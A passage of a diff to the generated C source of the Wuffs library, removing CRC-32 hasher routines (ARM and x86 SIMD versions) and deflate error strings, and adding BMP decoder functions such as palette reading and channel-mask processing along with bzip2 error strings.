= wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; + } + +-// -------- func crc32.ieee_hasher.checksum_u32 ++// -------- func bmp.decoder.do_tell_me_more + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_crc32__ieee_hasher__checksum_u32( +- const wuffs_crc32__ieee_hasher* self) { +- if (!self) { +- return 0; ++static wuffs_base__status ++wuffs_bmp__decoder__do_tell_me_more( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ if (self->private_impl.f_io_redirect_fourcc <= 1u) { ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 1u, ++ self->private_impl.f_io_redirect_fourcc, ++ 0u, ++ self->private_impl.f_io_redirect_pos, ++ 18446744073709551615u); + } ++ self->private_impl.f_io_redirect_fourcc = 1u; + +- return self->private_impl.f_state; ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ return status; + } + +-// ‼ WUFFS MULTI-FILE SECTION +arm_crc32 +-// -------- func crc32.ieee_hasher.up_arm_crc32 ++// -------- func bmp.decoder.workbuf_len + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_arm_crc32( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- wuffs_base__slice_u8 v_p = {0}; +- uint32_t v_s = 0; +- +- v_s = (4294967295u ^ self->private_impl.f_state); +- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { +- v_s = __crc32b(v_s, a_x.ptr[0u]); +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_bmp__decoder__workbuf_len( ++ const wuffs_bmp__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 8; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 128) * 128); +- while (v_p.ptr < i_end0_p) { +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- } +- v_p.len = 8; +- uint8_t* i_end1_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8); +- while (v_p.ptr < i_end1_p) { +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- } +- v_p.len = 1; +- uint8_t* i_end2_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end2_p) { +- v_s = __crc32b(v_s, v_p.ptr[0u]); +- v_p.ptr += 1; +- } +- v_p.len = 0; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) +-// ‼ WUFFS MULTI-FILE SECTION -arm_crc32 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 +-// -------- func crc32.ieee_hasher.up_x86_avx2 ++// -------- func bmp.decoder.read_palette + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_x86_avx2( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s = 0; +- wuffs_base__slice_u8 v_p = {0}; +- __m128i v_k = {0}; +- __m128i v_x0 = {0}; +- __m128i v_x1 = {0}; +- __m128i v_x2 = {0}; +- __m128i v_x3 = {0}; +- __m128i v_y0 = {0}; +- __m128i v_y1 = {0}; +- __m128i v_y2 = {0}; +- __m128i v_y3 = {0}; +- uint64_t v_tail_index = 0; ++static wuffs_base__status ++wuffs_bmp__decoder__read_palette( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_s = (4294967295u ^ self->private_impl.f_state); +- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ a_x.ptr[0u])] ^ (v_s >> 8u)); +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++ uint32_t v_i = 0; ++ uint32_t v_argb = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (((uint64_t)(a_x.len)) < 64u) { +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; ++ ++ uint32_t coro_susp_point = self->private_impl.p_read_palette; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_read_palette.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_bitmap_info_len == 12u) { ++ while ((v_i < 256u) && (self->private_impl.f_padding >= 3u)) { ++ self->private_impl.f_padding -= 3u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_0 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_read_palette.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_read_palette.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 16) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_argb = t_0; ++ } ++ v_argb |= 4278190080u; ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; ++ } ++ } else { ++ while ((v_i < 256u) && (self->private_impl.f_padding >= 4u)) { ++ self->private_impl.f_padding -= 4u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_read_palette.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_read_palette.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_argb = t_1; ++ } ++ v_argb |= 4278190080u; ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; + } +- v_p.len = 0; + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); +- } +- v_x0 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)); +- v_x1 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); +- v_x2 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); +- v_x3 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); +- v_x0 = _mm_xor_si128(v_x0, _mm_cvtsi32_si128((int32_t)(v_s))); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K1K2)); +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, 64u); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 64; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 64) * 64); +- while (v_p.ptr < i_end0_p) { +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_y1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); +- v_y2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(0u)); +- v_y3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(17u)); +- v_x2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(17u)); +- v_x3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(_mm_xor_si128(v_x0, v_y0), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 0u))); +- v_x1 = _mm_xor_si128(_mm_xor_si128(v_x1, v_y1), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u))); +- v_x2 = _mm_xor_si128(_mm_xor_si128(v_x2, v_y2), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 32u))); +- v_x3 = _mm_xor_si128(_mm_xor_si128(v_x3, v_y3), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 48u))); +- v_p.ptr += 64; ++ while (v_i < 256u) { ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; ++ v_i += 1u; + } +- v_p.len = 0; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_read_palette = 0; ++ goto exit; + } +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K3K4)); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x2); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x3); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_x1 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(16u)); +- v_x2 = _mm_set_epi32((int32_t)(0u), (int32_t)(4294967295u), (int32_t)(0u), (int32_t)(4294967295u)); +- v_x0 = _mm_srli_si128(v_x0, (int32_t)(8u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K5ZZ)); +- v_x1 = _mm_srli_si128(v_x0, (int32_t)(4u)); +- v_x0 = _mm_and_si128(v_x0, v_x2); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_PXMU)); +- v_x1 = _mm_and_si128(v_x0, v_x2); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(16u)); +- v_x1 = _mm_and_si128(v_x1, v_x2); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_s = ((uint32_t)(_mm_extract_epi32(v_x0, (int32_t)(1u)))); +- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551552u); +- if (v_tail_index < ((uint64_t)(a_x.len))) { +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; +- } +- v_p.len = 0; +- } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_read_palette = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_read_palette.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); ++ ++ return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) +-// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func crc32.ieee_hasher.up_x86_sse42 ++// -------- func bmp.decoder.process_masks + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_x86_sse42( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s = 0; +- wuffs_base__slice_u8 v_p = {0}; +- __m128i v_k = {0}; +- __m128i v_x0 = {0}; +- __m128i v_x1 = {0}; +- __m128i v_x2 = {0}; +- __m128i v_x3 = {0}; +- __m128i v_y0 = {0}; +- __m128i v_y1 = {0}; +- __m128i v_y2 = {0}; +- __m128i v_y3 = {0}; +- uint64_t v_tail_index = 0; ++static wuffs_base__status ++wuffs_bmp__decoder__process_masks( ++ wuffs_bmp__decoder* self) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_s = (4294967295u ^ self->private_impl.f_state); +- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ a_x.ptr[0u])] ^ (v_s >> 8u)); +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); +- } +- if (((uint64_t)(a_x.len)) < 64u) { +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; ++ uint32_t v_i = 0; ++ uint32_t v_mask = 0; ++ uint32_t v_n = 0; ++ ++ while (v_i < 4u) { ++ v_mask = self->private_impl.f_channel_masks[v_i]; ++ if (v_mask != 0u) { ++ v_n = 0u; ++ while ((v_mask & 1u) == 0u) { ++ v_n += 1u; ++ v_mask >>= 1u; + } +- v_p.len = 0; +- } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); +- } +- v_x0 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)); +- v_x1 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); +- v_x2 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); +- v_x3 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); +- v_x0 = _mm_xor_si128(v_x0, _mm_cvtsi32_si128((int32_t)(v_s))); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K1K2)); +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, 64u); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 64; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 64) * 64); +- while (v_p.ptr < i_end0_p) { +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_y1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); +- v_y2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(0u)); +- v_y3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(17u)); +- v_x2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(17u)); +- v_x3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(_mm_xor_si128(v_x0, v_y0), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 0u))); +- v_x1 = _mm_xor_si128(_mm_xor_si128(v_x1, v_y1), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u))); +- v_x2 = _mm_xor_si128(_mm_xor_si128(v_x2, v_y2), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 32u))); +- v_x3 = _mm_xor_si128(_mm_xor_si128(v_x3, v_y3), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 48u))); +- v_p.ptr += 64; +- } +- v_p.len = 0; +- } +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K3K4)); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x2); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x3); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_x1 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(16u)); +- v_x2 = _mm_set_epi32((int32_t)(0u), (int32_t)(4294967295u), (int32_t)(0u), (int32_t)(4294967295u)); +- v_x0 = _mm_srli_si128(v_x0, (int32_t)(8u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K5ZZ)); +- v_x1 = _mm_srli_si128(v_x0, (int32_t)(4u)); +- v_x0 = _mm_and_si128(v_x0, v_x2); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_PXMU)); +- v_x1 = _mm_and_si128(v_x0, v_x2); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(16u)); +- v_x1 = _mm_and_si128(v_x1, v_x2); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_s = ((uint32_t)(_mm_extract_epi32(v_x0, (int32_t)(1u)))); +- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551552u); +- if (v_tail_index < ((uint64_t)(a_x.len))) { +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; ++ self->private_impl.f_channel_shifts[v_i] = ((uint8_t)((v_n & 31u))); ++ v_n = 0u; ++ while ((v_mask & 1u) == 1u) { ++ v_n += 1u; ++ v_mask >>= 1u; + } +- v_p.len = 0; ++ if ((v_mask != 0u) || (v_n > 32u)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_channel_num_bits[v_i] = ((uint8_t)(v_n)); ++ } else if (v_i != 3u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; + } ++ v_i += 1u; + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) + + // ---------------- Status Codes Implementations + +-const char wuffs_deflate__error__bad_huffman_code_over_subscribed[] = "#deflate: bad Huffman code (over-subscribed)"; +-const char wuffs_deflate__error__bad_huffman_code_under_subscribed[] = "#deflate: bad Huffman code (under-subscribed)"; +-const char wuffs_deflate__error__bad_huffman_code_length_count[] = "#deflate: bad Huffman code length count"; +-const char wuffs_deflate__error__bad_huffman_code_length_repetition[] = "#deflate: bad Huffman code length repetition"; +-const char wuffs_deflate__error__bad_huffman_code[] = "#deflate: bad Huffman code"; +-const char wuffs_deflate__error__bad_huffman_minimum_code_length[] = "#deflate: bad Huffman minimum code length"; +-const char wuffs_deflate__error__bad_block[] = "#deflate: bad block"; +-const char wuffs_deflate__error__bad_distance[] = "#deflate: bad distance"; +-const char wuffs_deflate__error__bad_distance_code_count[] = "#deflate: bad distance code count"; +-const char wuffs_deflate__error__bad_literal_length_code_count[] = "#deflate: bad literal/length code count"; +-const char wuffs_deflate__error__inconsistent_stored_block_length[] = "#deflate: inconsistent stored block length"; +-const char wuffs_deflate__error__missing_end_of_block_code[] = "#deflate: missing end-of-block code"; +-const char wuffs_deflate__error__no_huffman_codes[] = "#deflate: no Huffman codes"; +-const char wuffs_deflate__error__truncated_input[] = "#deflate: truncated input"; +-const char wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state[] = "#deflate: internal error: inconsistent Huffman decoder state"; +-const char wuffs_deflate__error__internal_error_inconsistent_i_o[] = "#deflate: internal error: inconsistent I/O"; +-const char wuffs_deflate__error__internal_error_inconsistent_distance[] = "#deflate: internal error: inconsistent distance"; +-const char wuffs_deflate__error__internal_error_inconsistent_n_bits[] = "#deflate: internal error: inconsistent n_bits"; ++const char wuffs_bzip2__error__bad_huffman_code_over_subscribed[] = "#bzip2: bad Huffman code (over-subscribed)"; ++const char wuffs_bzip2__error__bad_huffman_code_under_subscribed[] = "#bzip2: bad Huffman code (under-subscribed)"; ++const char wuffs_bzip2__error__bad_block_header[] = "#bzip2: bad block header"; ++const char wuffs_bzip2__error__bad_block_length[] = "#bzip2: bad block length"; ++const char wuffs_bzip2__error__bad_checksum[] = "#bzip2: bad checksum"; ++const char wuffs_bzip2__error__bad_header[] = "#bzip2: bad header"; ++const char wuffs_bzip2__error__bad_number_of_sections[] = "#bzip2: bad number of sections"; ++const char wuffs_bzip2__error__truncated_input[] = "#bzip2: truncated input"; ++const char wuffs_bzip2__error__unsupported_block_randomization[] = "#bzip2: unsupported block randomization"; ++const char wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state[] = "#bzip2: internal error: inconsistent Huffman decoder state"; + + // ---------------- Private Consts + + static const uint8_t +-WUFFS_DEFLATE__CODE_ORDER[19] 